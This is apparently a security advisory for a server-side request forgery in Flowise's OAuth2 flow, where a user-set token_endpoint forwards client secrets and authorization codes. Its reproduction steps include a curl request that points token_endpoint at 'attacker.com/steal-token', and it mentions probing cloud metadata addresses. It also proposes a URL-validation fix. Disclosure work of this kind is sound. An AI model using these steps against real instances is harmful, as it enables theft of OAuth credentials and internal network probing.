YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
Flowise OAuth2 Credential-Forwarding SSRF via User-Controlled token_endpoint
Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF) with Credential Forwarding
Severity
High โ Authenticated users can exfiltrate OAuth2 client secrets and authorization codes
Affected Component
- File:
packages/server/src/routes/oauth2/index.ts - Lines: 213-240 (token exchange), 336-355 (token refresh)
- Version: Latest main branch (verified 2026-03-21)
Description
The Flowise OAuth2 authorization code flow allows authenticated users (with credentials:create permission) to configure custom OAuth2 providers by setting token_endpoint and authorization_endpoint in credential data. The token_endpoint URL is used without validation to exchange authorization codes for access tokens.
An attacker can create a credential with token_endpoint pointing to an attacker-controlled server. When the OAuth2 callback fires, Flowise sends a POST request to the attacker's server containing:
client_idclient_secretauthorization_coderedirect_uriscope
Steps to Reproduce
1. Create malicious OAuth2 credential
As any authenticated Flowise user with credentials:create permission:
curl -X POST http://flowise:3000/api/v1/credentials \
-H "Authorization: Bearer <user_token>" \
-H "Content-Type: application/json" \
-d '{
"name": "Malicious OAuth",
"credentialName": "oAuth2Api",
"encryptedData": {
"client_id": "legitimate-app-id",
"client_secret": "legitimate-secret",
"token_endpoint": "https://attacker.com/steal-token",
"authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
"scope": "openid email profile"
}
}'
2. Initiate OAuth2 flow
curl -X POST http://flowise:3000/api/v1/oauth2/authorize/<credential_id>
# Returns authorization URL โ user authenticates normally with Google/Microsoft
3. Callback sends credentials to attacker
When the OAuth2 callback fires at /api/v1/oauth2/callback, the server executes:
// Line 213-240 in oauth2/index.ts
let tokenUrl = accessTokenUrl // from credential's token_endpoint field
const tokenResponse = await axios.post(tokenUrl,
new URLSearchParams(tokenRequestData).toString(), {
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
Accept: 'application/json'
}
})
The attacker's server at https://attacker.com/steal-token receives:
client_id=legitimate-app-id&
client_secret=legitimate-secret&
code=4/0AX4XfWh...&
grant_type=authorization_code&
redirect_uri=http://flowise:3000/api/v1/oauth2/callback
4. Token refresh also affected
The same pattern exists in the token refresh flow (lines 336-355):
let tokenUrl = accessTokenUrl // same user-controlled field
const tokenResponse = await axios.post(tokenUrl,
new URLSearchParams(refreshRequestData).toString(), ...)
Impact
- Client secret theft โ attacker receives the OAuth2
client_secretwhich may grant long-term API access - Authorization code theft โ attacker receives the one-time
codewhich can be exchanged for access tokens at the real provider - Session hijacking โ if the attacker responds with a valid-looking token, Flowise stores it in the credential, giving the attacker control over what token is used
- Internal network scanning โ by setting
token_endpointto internal URLs (e.g.,http://169.254.169.254/latest/meta-data/), the attacker can probe internal infrastructure
Root Cause
The token_endpoint URL from credential configuration is used directly in axios.post() without:
- URL validation (no check for internal IPs, private ranges)
- Domain allowlisting (no restriction on where tokens are sent)
- Protocol enforcement (no HTTPS requirement)
Suggested Fix
Validate the token_endpoint URL before making requests:
import { URL } from 'url';
import { isPrivateIP } from '../utils/networking';
function validateTokenUrl(urlString: string): void {
const url = new URL(urlString);
// Require HTTPS
if (url.protocol !== 'https:') {
throw new Error('Token endpoint must use HTTPS');
}
// Block private IPs
if (isPrivateIP(url.hostname)) {
throw new Error('Token endpoint cannot point to private IP');
}
// Optional: allowlist known OAuth providers
const ALLOWED_HOSTS = [
'login.microsoftonline.com',
'accounts.google.com',
'oauth2.googleapis.com',
'github.com',
];
if (!ALLOWED_HOSTS.some(h => url.hostname.endsWith(h))) {
logger.warn(`Non-standard OAuth token endpoint: ${url.hostname}`);
}
}